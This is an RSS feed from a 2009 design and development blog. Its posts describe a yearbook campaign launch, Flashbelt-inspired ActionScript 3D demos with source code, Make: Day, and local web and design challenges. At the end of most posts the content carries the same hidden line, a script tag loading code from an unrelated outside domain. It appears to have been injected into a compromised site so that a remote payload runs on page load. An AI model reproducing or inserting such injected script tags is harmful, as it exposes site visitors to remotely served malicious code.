<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>labs.hapticdata.com &#187; events</title>
	<atom:link href="http://labs.hapticdata.com/category/events/feed/" rel="self" type="application/rss+xml" />
	<link>http://labs.hapticdata.com</link>
	<description></description>
	<lastBuildDate>Wed, 11 Aug 2010 20:39:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Yearbook Yourself 2009 launches</title>
		<link>http://labs.hapticdata.com/2009/07/yearbook-yourself-2009-launches/</link>
		<comments>http://labs.hapticdata.com/2009/07/yearbook-yourself-2009-launches/#comments</comments>
		<pubDate>Sat, 25 Jul 2009 00:19:08 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[events]]></category>

		<guid isPermaLink="false">http://labs.hapticdata.com/?p=308</guid>
		<description><![CDATA[We launched Yearbook Yourself earlier this week and the response has been astounding.]]></description>
			<content:encoded><![CDATA[<p>We launched Yearbook Yourself earlier this week and the response has been astounding. I didn&#8217;t really have much to do with this years project, the lead development was slated for my friend <a href="http://www.andrewcharon.com">Andrew Charon</a>; and he did an excellent job.<br />
<a href="http://www.yearbookyourself.com">http://www.yearbookyourself.com</a><br />
Comgratulations to everyone at C+M that worked on it! And congratulations to Taubman for receiving such a successful campaign!</p>
<p><span id="more-308"></span></p>
<p><img src="http://labs.hapticdata.com/wp-content/uploads/2009/07/18917384.jpg" alt="Student Life" title="Student Life" width="300" height="530" class="alignnone size-full wp-image-311" /><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2009/07/yearbook-yourself-2009-launches/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Post-Flashbelt Experimentation</title>
		<link>http://labs.hapticdata.com/2009/07/post-flashbelt-experimentation/</link>
		<comments>http://labs.hapticdata.com/2009/07/post-flashbelt-experimentation/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 16:17:19 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[development]]></category>
		<category><![CDATA[events]]></category>
		<category><![CDATA[open-source]]></category>

		<guid isPermaLink="false">http://labs.hapticdata.com/?p=263</guid>
		<description><![CDATA[Rather than repeating tidbits I picked up here and there, I want to show some things I have thrown together since Flashbelt and provide the source.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.flashbelt.com">Flashbelt</a> has come and gone for 2009, and again it was an experience that I feel lucky to have been a part of. It was great to spend 3 days with like-minded designers and developers; and to listen to presenters show where the past year has led them. Presenters demonstrated completed projects, experiments and the new tools they are using. Rather than repeating tidbits I picked up here and there, I want to show some things I have thrown together since Flashbelt. These are just some quick demos, for me they mainly serve as a form of notes to get familiar with some of the new features and also were thrown together as a quick &#8216;capabilities demo&#8217; for the team.
</p>
<p>
Below are three demos and source code. These demos use some new features, I wrote these for use with the free <a href="http://labs.adobe.com/technologies/flex4sdk/">Flex 4 SDK</a>, which you can also use with <a href="http://labs.adobe.com/technologies/flashbuilder4/">Flash Builder 4 Beta</a>, these classes are all very simple to convert for use with Flash CS4 instead.</p>
<p><span id="more-263"></span></p>
<p><strong>Slide 1:</strong> <em>Click on the photo and it shatters into pieces.</em> This is a custom effect I built after some inspiration from <a href="http://www.newmovieclip.com">Koen De Weggheleire&#8217; s</a> presentation &#8220;Play with Vectors.&#8221; For this effect I am drawing a 5&#215;5 grid of rectangles and filling them with their respective pixel&#8217;s from the original source image. When the image is clicked the pieces have physics properties applied to propel them.</p>
<pre class="code">
<code>
package com.hapticdata.fb2009
{
	import com.hapticdata.phsyics.AngularVelocityVector;
	import com.theflashblog.fp10.SimpleZSorter;
	import flash.geom.Vector3D;
	import flash.geom.Matrix3D;
	import flash.events.Event;
	import flash.events.MouseEvent;
	import flash.geom.Rectangle;
	import flash.geom.Point;
	import flash.geom.Matrix;
	import flash.display.BitmapData;
	import flash.display.Bitmap;
	import flash.display.Stage;
	import flash.display.Sprite;

	/**
	 * Exploading picture,
	 * image is embedded split into a grid, the respective pixels are copied to the Sprite,
	 * and AngularVelocityVector is used for the animation
	 * @author kphillips
	 */
	public class ExplodingPicture extends Sprite
	{

		[Embed (source="../../../../eyes4.jpg")]
		private var imgClass:Class;

		public var bd:BitmapData;

		public var columns:int = 10;
		public var rows:int = 10;

		public var gridWidth:int;
		public var gridHeight:int;

		public var container:Sprite;

		public var items:Vector.<Sprite>;
		public var avVectors:Vector.<AngularVelocityVector>;

		public var hasExploded:Boolean = false;
		public var axis:Vector.<Vector3D>;

		public var _stage:Stage;
		override public function get stage():Stage
		{
			return _stage;
		}

		public function ExplodingPicture(stage:Stage=null)
		{
			if(!stage)
			{
				stage = this.stage;
				_stage = this.stage;
			}
			else
			{
				this._stage = stage;
			}

			axis = new Vector.<Vector3D>();
			axis[0] = Vector3D.X_AXIS;
			axis[1] = Vector3D.Y_AXIS;
			axis[2] = Vector3D.Z_AXIS;

			avVectors = new Vector.<AngularVelocityVector>();

			addEventListener(Event.ENTER_FRAME,handleEnterFrame);

			container = new Sprite();
			container.x = stage.stageWidth*0.5;
			container.y = stage.stageHeight*0.5;
			addChild(container);

			bd = (new imgClass() as Bitmap).bitmapData;

			gridWidth = bd.width / columns;
			gridHeight = bd.height / rows;

			items = new Vector.<Sprite>();
			for(var c:int=0;c < columns;c++)
			{
				for(var r:int=0;r < rows;r++)
				{
					var s:Sprite = new Sprite();
					var m:Matrix = new Matrix();

					var rectBD:BitmapData = new BitmapData(gridWidth,gridHeight);
					rectBD.copyPixels(bd, new Rectangle(c*gridWidth,r*gridHeight,gridWidth,gridHeight), new Point(0,0));
					s.graphics.beginBitmapFill(rectBD,m);
					s.graphics.drawRect(0,0,gridWidth,gridHeight);
					s.graphics.endFill();
					s.addEventListener(MouseEvent.CLICK,handleMouseClick)

					items.push(s);
					container.addChild(s);
					var sx:Number = (c*gridWidth) - (bd.width*0.5);
					var sy:Number = (r*gridHeight) - (bd.height*0.5);
					s.transform.matrix3D = new Matrix3D();
					s.transform.matrix3D.appendTranslation(sx, sy, 0);

					var av:AngularVelocityVector = new AngularVelocityVector();
					av.vector = {x: s.x, y: s.y};
					av.forces = {vx: 0, vy:Math.random()*-25,angle:Math.random()*360, wind: -1, gravity: 4, drag: 0.999};
					avVectors.push(av);
				}
			}
		}

		private function handleEnterFrame(event:Event):void
		{
			if(hasExploded)
			{
				for(var i:uint=0;i < items.length;i++)
				{
					avVectors[i].step();
					items[i].x = avVectors[i].x;
					items[i].y = avVectors[i].y;

					var rot:int = 4;
					if(i&#038;1)rot *= -1;

					items[i].transform.matrix3D.appendRotation(rot, axis[i%axis.length]);
				}
			}
			SimpleZSorter.sortClips(container);
		}

		private function handleMouseClick(event:MouseEvent):void
		{
			hasExploded = true;
			(event.target as Sprite).transform.matrix3D.appendRotation(45,Vector3D.Z_AXIS);
		}
	}
}
</code>
</pre>
<p>The next 2 examples also were inspired by Koen's presentation. With Flash CS4 there is now a native 3d environment, using the <a href="http://livedocs.adobe.com/flex/3/langref/flash/geom/Matrix3D.html">Matrix3D</a> class it simple to work in three dimensions without the use of a third-party library like <a href="http://blog.papervision3d.org/">Papervision3D</a> or <a href="http://away3d.com/">Away3D</a>. I did however need to use <a href="http://theflashblog.com/?p=470">SimpleZSorter</a>, a great class I found on Lee Brimelow's <a href="http://theflashblog.com/">The Flash Blog</a>.</p>
<p><strong>Slide 2:</strong><em> Accelerated Drawing using Vectors and 3D Transformations.</em> This slide will draw 1000 squares in a 3d space, something that previously would've been very difficult for flash. Now using <a href="http://livedocs.adobe.com/flex/3/langref/Vector.html">Vector</a> (so much better than un-typed arrays), and some new drawing classes such as <a href="http://livedocs.adobe.com/flex/3/langref/flash/display/GraphicsPathCommand.html">GraphicsPathCommand</a> the drawing is very manageable on your systems resources.</p>
<pre class="code">
<code>
package com.hapticdata.fb2009
{
	import flash.display.BitmapData;
	import flash.display.GraphicsBitmapFill;
	import flash.display.GraphicsPath;
	import flash.display.GraphicsPathCommand;
	import flash.display.GraphicsPathWinding;
	import flash.display.GraphicsSolidFill;
	import flash.display.GraphicsStroke;
	import flash.display.IGraphicsData;
	import flash.display.LineScaleMode;
	import flash.display.Sprite;
	import flash.display.Stage;
	import flash.events.Event;
	import flash.geom.Matrix3D;
	import flash.geom.Point;
	import flash.geom.Vector3D;

	/**
	 * Drawing3D, using the Vector class and GraphicsPathCommands to accelerate drawing
	 * @author kphillips
	 */
	public class Drawing3D extends Sprite
	{

		public var i:int = 0;
		public var numShapes:int = 1000;

		public var commands:Vector.<int>;
		public var coords:Vector.<Number>;

		public var container:Sprite;
		public var shape:Sprite;

		public var _stage:Stage;

		override public function get stage():Stage {
			return _stage;
		}

		public function Drawing3D(stage:Stage = null)
		{
			if(!stage)
			{
				stage = this.stage;
				_stage = this.stage;
			}
			else
			{
				this._stage = stage;
			}
			container = new Sprite();
			container.x = stage.stageWidth * 0.5;
			container.y = stage.stageHeight * 0.5;

			addChild(container);

			commands = new Vector.<int>();
			commands[0] = GraphicsPathCommand.MOVE_TO;
			commands[1] = GraphicsPathCommand.LINE_TO;
			commands[2] = GraphicsPathCommand.LINE_TO;
			commands[3] = GraphicsPathCommand.LINE_TO;
			commands[4] = GraphicsPathCommand.LINE_TO;
			//
			commands[5] = GraphicsPathCommand.MOVE_TO;
			commands[6] = GraphicsPathCommand.LINE_TO;
			commands[7] = GraphicsPathCommand.LINE_TO;
			commands[8] = GraphicsPathCommand.LINE_TO;
			commands[9] = GraphicsPathCommand.LINE_TO;

			addEventListener(Event.ENTER_FRAME, handleEnterFrame);
		}

		private function handleEnterFrame(event:Event):void
		{
			if(i++ < numShapes)
			{
				//create shape
				var shape:Sprite = new Sprite();
				shape.transform.matrix3D = new Matrix3D();
				shape.transform.matrix3D.appendTranslation(-stage.stageWidth * 0.5, -stage.stageHeight * 0.5, Math.random() * 50 - 25);
				container.addChild(shape);

				var pt:Point = new Point(Math.random() * stage.stageWidth, Math.random() * stage.stageHeight);
				var width:int = Math.random() * 25 + 1
				var height:int = Math.random() * 25 + 1;
				coords = new Vector.<Number>();

				//left x
				coords[0] = pt.x - (width * 0.5);
				//top y
				coords[1] = pt.y - (height * 0.5);
				//right x
				coords[2] = pt.x + (width * 0.5);
				coords[3] = coords[1];

				coords[4] = coords[2];
				//bottom-y
				coords[5] = pt.y + (height * 0.5);

				coords[6] = coords[0];
				coords[7] = coords[5];

				coords[8] = coords[0];
				coords[9] = coords[1];

				var drawingData:GraphicsPath = new GraphicsPath(commands, coords, GraphicsPathWinding.NON_ZERO);
				var fillBitmap:GraphicsBitmapFill = new GraphicsBitmapFill(new BitmapData(width, height, true, Math.random() * 0xFFFFFF00));
				var stroke:GraphicsStroke = new GraphicsStroke(1, true, LineScaleMode.NONE, "none", "round", 3, new GraphicsSolidFill(0xffffff, 1));

				var graphicsData:Vector.<IGraphicsData> = new Vector.<IGraphicsData>();
				//fill
				graphicsData[0] = fillBitmap;
				//stroke
				graphicsData[1] = stroke;
				//data
				graphicsData[1] = drawingData;	//i don't want a stroke

				shape.transform.matrix3D.appendRotation(Math.random() * 360, Vector3D.Y_AXIS);
				shape.transform.matrix3D.appendRotation(Math.random() * 360, Vector3D.X_AXIS);

				shape.graphics.drawGraphicsData(graphicsData);

			}

			container.rotationY++;
		}
	}
}
</code>
</pre>
<p><strong>Slide 3:</strong> <em>Controlling an object's rotation in 3D</em> There isn't much new here, I'm just trying to show simple control of the environment. You can see how we can implement 3D planes and rotation very simply, this could open up some doors for possible navigations in future projects without a large time investment.</p>
<pre class="code">
<code>
package com.hapticdata.fb2009
{
	import flash.text.TextFormat;
	import flash.text.TextFieldAutoSize;
	import flash.text.TextField;
	import flash.display.Stage;
	import flash.events.MouseEvent;
	import flash.geom.Vector3D;

	import com.theflashblog.fp10.SimpleZSorter;
	import flash.geom.Matrix3D;
	import flash.geom.Point;
	import flash.events.Event;
	import flash.display.Bitmap;
	import flash.display.Sprite;

	/**
	 * Rotating3D, an embedded object, rotating in a 3d environment
	 * @author kphillips
	 */
	public class Rotating3D extends Sprite
	{
		[Embed (source="../../../../tree.png")]
		private var imgClass:Class;

		public var original:Bitmap;

		//circle properties
		public var radius:int = 150;
		public var center:Point;

		public var numItems:int = 8;

		public var rotY:Number=0;
		public var rotZ:Number=0;

		public var container:Sprite;
		public var items:Vector.<Bitmap>;

		public var _stage:Stage;
		override public function get stage():Stage
		{
			return _stage;
		}

		public function Rotating3D(stage:Stage=null)
		{
			if(!stage)
			{
				stage = this.stage;
				_stage = this.stage;
			}
			else
			{
				this._stage = stage;
			}
			stage.addEventListener(MouseEvent.MOUSE_MOVE,handleMouseMove);
			center = new Point(stage.stageWidth*0.5,stage.stageHeight*0.5);

			var tF:TextField = new TextField();
			tF.defaultTextFormat = new TextFormat("arial");
			tF.autoSize = TextFieldAutoSize.LEFT;
			tF.text = "move mouse to rotate";
			tF.x = 10;
			tF.y = 10;
			addChild(tF);

			container = new Sprite();
			container.x = center.x;
			container.y = center.y;
			addChild(container);
			container.addEventListener(MouseEvent.CLICK,handleClick);

			original = new imgClass() as Bitmap;

			items = new Vector.<Bitmap>();
			var radialStep:Number = 360 / numItems;
			for(var i:uint=0;i < numItems;i++)
			{
				items[i] = new Bitmap(original.bitmapData.clone());
				items[i].transform.matrix3D = new Matrix3D();
				var rotZ:int =radialStep * i;

				items[i].transform.matrix3D.appendTranslation(-items[i].width*0.5, -items[i].height*0.5, 0);
				items[i].transform.matrix3D.appendRotation(rotZ,Vector3D.Y_AXIS);

				container.addChild(items[i]);

			}

			//SimpleZSorter.sortClips(container);

			//container.rotationX += 60;
			//container.rotationX += 15;
			addEventListener(Event.ENTER_FRAME,handleEnterFrame);
		}

		private function handleMouseMove(event:MouseEvent):void
		{
			var distX:Number = mouseX - center.x;
			var distY:Number = mouseY - center.y;

			rotY = distX / (stage.stageWidth*0.5);
			rotZ = distY / (stage.stageHeight*0.5);
		}

		private function handleClick(event:MouseEvent):void
		{
                        //move back in z-space every click
			//if(event.target is Bitmap)
			//{
				event.target.transform.matrix3D.appendTranslation(0,0,10);
			//}
		}

		private function handleEnterFrame(event:Event):void
		{
			container.rotationY+=(rotY*-2);
			container.rotationZ+=(rotZ*-2);
			SimpleZSorter.sortClips(container);
		}
	}
}
</code>
</pre>
<p>
<object width="500" height="425">
<param name="movie" value="http://labs.hapticdata.com/wp-content/uploads/2009/07/presentation.swf"></param>
<param name="quality" value="high"></param>
<param name="wmode" value="window"></param>
<param name="menu" value="false"></param>
<param name="bgcolor" value="#FFFFFF"></param>
<embed type="application/x-shockwave-flash" width="500" height="425" src="http://labs.hapticdata.com/wp-content/uploads/2009/07/presentation.swf" quality="high" bgcolor="#FFFFFF" wmode="window" menu="false" ></embed>
</object>
<br />
<a href="http://labs.hapticdata.com/wp-content/uploads/2009/06/hd-fbexamples.zip">hd-fbexamples.zip</a> (source files)<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2009/07/post-flashbelt-experimentation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Conclusion to Make: Day</title>
		<link>http://labs.hapticdata.com/2009/03/conclusion-to-make-day/</link>
		<comments>http://labs.hapticdata.com/2009/03/conclusion-to-make-day/#comments</comments>
		<pubDate>Mon, 16 Mar 2009 18:56:08 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[events]]></category>
		<category><![CDATA[projects]]></category>

		<guid isPermaLink="false">http://labs.hapticdata.com/?p=203</guid>
		<description><![CDATA[Make: Day was on Saturday. What a crazy event. The event ran from 10-3 and there were several thousand people pouring through the doors. There was a wide range of audience and the fellow presenters/makers were very inspiring and showing a lot of interest in everyone&#8217;s work. There was a sense of community that was [...]]]></description>
			<content:encoded><![CDATA[<p><a title="Make:Day post" href="http://labs.hapticdata.com/?p=142">Make: Day</a> was on Saturday. What a crazy event. The event ran from 10-3 and there were several thousand people pouring through the doors. There was a wide range of audience and the fellow presenters/makers were very inspiring and showing a lot of interest in everyone&#8217;s work. There was a sense of community that was real nice.<br />
<span id="more-203"></span><br />
The event was not strictly for technology-based projects, the booth next to me was demonstrating homemade instruments built from materials like PVC pipe and I swear I saw an egg beater. Those that were technology-based were largely on the hardware side of things, which was exciting for me. The <a href="fhttp://www.twincitiesmaker.com/weblog" target="_blank">Twin Cities Maker</a> group seemed interesting, I think I could learn a lot from some of them. Similarly, there were only a few representing the software-side so I felt like I had something to contribute as well. Overall it was a bit draining, but lots of fun and tons of people; I can&#8217;t wait for next year.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2009/03/conclusion-to-make-day/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Conclusion to the Overnight Website Challenge</title>
		<link>http://labs.hapticdata.com/2009/03/conclusion-of-the-overnight-website-challenge/</link>
		<comments>http://labs.hapticdata.com/2009/03/conclusion-of-the-overnight-website-challenge/#comments</comments>
		<pubDate>Mon, 02 Mar 2009 19:34:38 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[events]]></category>

		<guid isPermaLink="false">http://labs.hapticdata.com/?p=176</guid>
		<description><![CDATA[Well its all done.  Starting around 7:30 a.m. (official start of 9 a.m.) on February 28th and ending around 11:00 a.m. on March 1st, the Overnight Website Challenge is complete.  I am proud to announce that my team, Team Praxis, were the winners. I think we were all stunned, and a bit delusional from sleep deprivation.]]></description>
			<content:encoded><![CDATA[<p>Well its all done.  Starting around 7:30 a.m. (official start of 9 a.m.) on February 28th and ending around 11:00 a.m. on March 1st, the <a href="http://www.overnightwebsitechallenge.com/" target="_blank">Overnight Website Challenge</a> is complete.  I am proud to announce that my team, <a href="http://www.overnightwebsitechallenge.com/teams/32-Praxis" target="_blank">Team Praxis</a>, were the winners.<br />
<span id="more-176"></span><br />
I think we were all stunned, and a bit delusional from sleep deprivation. The non-profit we were assigned was <a href="http://www.dist202.org/" target="_blank">District 202</a> <em>(right now this is their old site)</em>. District 202 is a Minneapolis-based non-profit organization providing services and a community for GLBT youth from the ages of 13-22. District 202 is in the process of moving their efforts from a large brick-and-mortar organization with little web-presence to a smaller physical location with a strong online community. Since their demographic is ages 13-22, the people they help tend to be web-savvy youth with existing online social networks. As well as a website that provides them with all of the tools that a non-profit needs, we also provided them with a social network, using <a href="http://www.ning.com" target="_blank">Ning</a>. These youth now have a way to safely communicate with each other and foster a community of their own, they can talk directly with someone from District 202, using chat, and possible supporters are able to see the positive change they are making, and now have an easy way to contribute.</p>
<p>Overall the event was lots of fun, and a pretty optimal way to pull an all-nighter. A lot of people were feeling pretty miserable, and their were smells but it was an interesting site. More monitors than people, a lot of us brought our own dedicated servers for our workflow, and my teammate Justin had a cool cigarette-lighter / cup holder installed into his box instead of a second rom drive. Some neat setups.  The event also had 2 projections, one displaying our countdown, and one displaying the live twitter activity surrounding the event; <a href="http://search.twitter.com/search?q=%23webchallenge" target="_blank">#webchallenge</a> was consistently between the #3 &#8211; #8 most active topics on twitter for the whole challenge. Follow up more on this event at <a href="http://blog.nerdery.com/" target="_blank">Inside the Nerdery</a>, there is some good content showing everybody&#8217;s setup and our process, from discussing site objectives with the non-profits to the late hours of development. Below is a picture of our team, taken from the Nerdery, I&#8217;m on a back step eating an apple.</p>
<p><a href="http://blog.nerdery.com/2009/03/congrats-to-team-praxis-district-202/"><img class="border alignnone size-full wp-image-179" title="Congrats to Team Praxis &#038; District 202" src="http://labs.hapticdata.com/wp-content/uploads/2009/03/3318541010_1f08677945.jpg" alt="Congrats to Team Praxis &#038; District 202" width="500" height="375" /></a><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2009/03/conclusion-of-the-overnight-website-challenge/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Sierra Bravo&#8217;s Overnight Website Challenge</title>
		<link>http://labs.hapticdata.com/2009/02/sierra-bravos-overnight-website-challenge/</link>
		<comments>http://labs.hapticdata.com/2009/02/sierra-bravos-overnight-website-challenge/#comments</comments>
		<pubDate>Fri, 27 Feb 2009 21:22:35 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[events]]></category>

		<guid isPermaLink="false">http://labs.hapticdata.com/?p=158</guid>
		<description><![CDATA[Tomorrow morning, starting at 7:00 a.m. I will be joining 119 other local developers and designers for a good cause. We are split into 12 teams, and each team is assigned a different non-profit organization. We will work for 24 hours straight to build a complete solution, and then present our results to a panel of judges.]]></description>
			<content:encoded><![CDATA[<p>Tomorrow morning, starting at 7:00 a.m. I will be joining 119 other local developers and designers for a good cause. We are split into 12 teams, and each team is assigned a different non-profit organization. We will work for 24 hours straight to build a complete solution, and then present our results to a panel of judges. The challenge is very development-centric, the teams are loaded with web-dev talent from the Twin Cities. My assumption going into this challenge (and from their banner) is that our result may not be a design beauty, but it will have the functionality and clarity to help this organization for a long time to come.<br />
Hopefully I get some good sleep tonight.</p>
<p><a href="http://www.overnightwebsitechallenge.com/"><img class="alignnone size-full wp-image-161" title="Official Competitor - Sierra Bravo's Overnight Website Challenges" src="http://labs.hapticdata.com/wp-content/uploads/2009/02/graphic_competitor.gif" alt="Official Competitor - Sierra Bravo's Overnight Website Challenges" width="250" height="250" /></a><a href="http://www.overnightwebsitechallenge.com/teams/32-Praxis"><img class="alignnone size-full wp-image-162" title="Team Praxis!" src="http://labs.hapticdata.com/wp-content/uploads/2009/02/normal_phi.gif" alt="Team Praxis!" width="250" height="250" /></a><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2009/02/sierra-bravos-overnight-website-challenge/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Make: Day</title>
		<link>http://labs.hapticdata.com/2009/02/make-day/</link>
		<comments>http://labs.hapticdata.com/2009/02/make-day/#comments</comments>
		<pubDate>Thu, 26 Feb 2009 18:30:58 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[events]]></category>

		<guid isPermaLink="false">http://labs.hapticdata.com/?p=142</guid>
		<description><![CDATA[On Saturday, March 14th (PI day), 10 a.m. to 3 p.m. I will be presenting my <a href="http://labs.hapticdata.com/?p=69">What Matters Most</a> application and my multi-touch surface at the first annual <a href="http://www.smm.org/makeday/" target="_blank">Make: Day</a> in St. Paul, MN. The event will be held at <a href="http://www.smm.org" target="_blank">The Science Museum of Minnesota</a> and is an initiative by <a href="http://www.makezine.tv" target="_blank">Make: Television</a> (of Make: Magazine).]]></description>
			<content:encoded><![CDATA[<p>On Saturday, March 14th (PI day), 10 a.m. to 3 p.m. I will be presenting my <a href="http://labs.hapticdata.com/?p=69">What Matters Most</a> application and my multi-touch surface at the first annual <a href="http://www.smm.org/makeday/" target="_blank">Make: Day</a> in St. Paul, MN. The event will be held at <a href="http://www.smm.org" target="_blank">The Science Museum of Minnesota</a> and is an initiative by <a href="http://www.makezine.tv" target="_blank">Make: Television</a> (of Make: Magazine). Come help us &#8220;celebrate the ingenuity and inventiveness in our community,&#8221; get inspiration, and maybe even learn some new skills. Some more information about the event is also posted <a href="http://blog.makezine.com/archive/2009/02/make_day_at_the_science_museum_of_m.html" target="_blank">here</a>, it looks like circuit-benders <a href="http://www.myspace.com/beatrixjars" target="_blank">Beatrix Jar</a> will be there!</p>
<p><a href="http://www.makezine.tv"><img class="alignleft size-full wp-image-152" title="Make: Television" src="http://labs.hapticdata.com/wp-content/uploads/2009/02/maketv.gif" alt="" width="283" height="87" /></a><a href="http://www.smm.org"><img class="alignleft size-full wp-image-153" title="Science Museum of Minnesota" src="http://labs.hapticdata.com/wp-content/uploads/2009/02/smm.gif" alt="" width="217" height="87" /></a><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2009/02/make-day/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>PhizzPop Minneapolis documentation</title>
		<link>http://labs.hapticdata.com/2009/01/phizzpop-minneapolis-documentation/</link>
		<comments>http://labs.hapticdata.com/2009/01/phizzpop-minneapolis-documentation/#comments</comments>
		<pubDate>Wed, 28 Jan 2009 23:08:51 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[events]]></category>
		<category><![CDATA[projects]]></category>

		<guid isPermaLink="false">http://labs.hapticdata.com/?p=110</guid>
		<description><![CDATA[I had been waiting for some content to show up from our PhizzPop Minneapolis presentation a couple weeks ago. I do not have any personal documentation of the event, so I'm glad to see some has appeared on YouTube. Thanks to <a title="YouTube: SocialWendy" href="http://www.youtube.com/user/SocialWendy" target="_blank">SocialWendy</a>, for letting me see what everyone else saw, while we were on stage]]></description>
			<content:encoded><![CDATA[<p>I had been waiting for some content to show up from our PhizzPop Minneapolis presentation a couple weeks ago. I do not have any personal documentation of the event, so I&#8217;m glad to see some has appeared on YouTube. Thanks to <a title="YouTube: SocialWendy" href="http://www.youtube.com/user/SocialWendy" target="_blank">SocialWendy</a>, for letting me see what everyone else saw, while we were on stage. The presentation starts off with a description of our project and demonstrates the web application. The surface table is about 5 minutes in. <a href="http://www.skycrusher.com" target="_blank">Barrett Haroldson</a> is the main presenter, I am demonstrating the applications and our partner Andrew Charon helps me demonstrate the Surface table&#8217;s multi-user experience. A video overview of the event can be found <a title="PhizzPop Minneapolis" href="http://www.youtube.com/watch?v=hMSTVPCwQU0&#038;feature=channel_page" target="_blank">here</a>. </p>
<p><object width="480" height="295"><param name="movie" value="http://www.youtube.com/v/Xx2bVBZ_4VI&#038;hl=en&#038;fs=1&#038;color1=0x3a3a3a&#038;color2=0x999999"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/Xx2bVBZ_4VI&#038;hl=en&#038;fs=1&#038;color1=0x3a3a3a&#038;color2=0x999999" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="295"></embed></object><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2009/01/phizzpop-minneapolis-documentation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Minneapolis PhizzPop Design Challenge</title>
		<link>http://labs.hapticdata.com/2009/01/minneapolis-phizzpop-design-challenge/</link>
		<comments>http://labs.hapticdata.com/2009/01/minneapolis-phizzpop-design-challenge/#comments</comments>
		<pubDate>Mon, 19 Jan 2009 17:06:37 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[design]]></category>
		<category><![CDATA[events]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[silverlight]]></category>
		<category><![CDATA[surface]]></category>
		<category><![CDATA[wpf]]></category>

		<guid isPermaLink="false">http://labs.hapticdata.com/?p=90</guid>
		<description><![CDATA[Last Thursday, I presented alongside two colleagues, <a href="http://skycrusher.com/hisandhers/" target="_blank">Barret Haroldson</a> and Andrew Charon. We opposed five other teams from local agencies in a Microsoft design challenge. We spent half of the previous week at Microsoft receiving training in their technologies. We learned how to use Microsoft's Expression Studio and Visual Studio software and were given a basic understanding of Silverlight and WPF <em>(Windows Presentation Format)</em>. ]]></description>
			<content:encoded><![CDATA[<p>Last Thursday, I presented alongside two colleagues, <a href="http://skycrusher.com/hisandhers/" target="_blank">Barret Haroldson</a> and Andrew Charon. We opposed five other teams from local agencies in a Microsoft design challenge. We spent half of the previous week at Microsoft receiving training in their technologies. We learned how to use Microsoft&#8217;s Expression Studio and Visual Studio software and were given a basic understanding of Silverlight and WPF <em>(Windows Presentation Format)</em>. The work-flow is an odd one, I suppose it is the most similar to Flex Builder. It involves frequent swapping between your visual description (sets of containers and elements) written in their XML format, XAML and your code logic written in C# with Visual Studios.</p>
<p>At the end of our three days of training we were given a brief. <em>Help a big box retailer (like Wal-Mart) find success in its brick-and-mortar world during our economic recession, and allow them to compete against Netflix, Amazon and iTunes through a web presence. </em>A bit impossible for a three day project?</p>
<p>We built a web application focusing on the social aspects of shopping, public custom lists, shout-style commentary, localizing rss-feeds from favorite brands. This  concept was then bridged with an in-store shopping experience using a <a href="http://www.microsoft.com/surface" target="_blank">Microsoft Surface</a> table. The three of us stayed locked in the office long nights, throwing around concepts, designing, and trying to pick up a new application model quickly. My main focus became the multi-touch Surface application, which focused on remote account access and a multi-user shopping experience through the table.</p>
<p>The teams were MOOV <em>w/ Sierra Bravo</em>, Hanson, Space 150, Zeus Jones <em>w/ Sierra Bravo</em> and Colle+McVoy (our team). In the end Zeus Jones won with their ability to re-invent the brief, and distill it to a single sentence. Their Silverlight application was very well designed and functionality behind the application seemed solid. Their in-store presence was lacking and I think that is one area that we were very solid. In the end we are not heading to SXSW to compete nationally, but every single judge did come up to us that night and explain how difficult of a decision it was, so I feel proud of our work. You try designing and developing a web application and a multi-touch application in three days with three people! </p>
<p>In the end it was a great time. I met a lot of cool people, I got to present my ideas to a room filled with talent, I got free Absinthe, a great party and some Microsoft swag.</p>
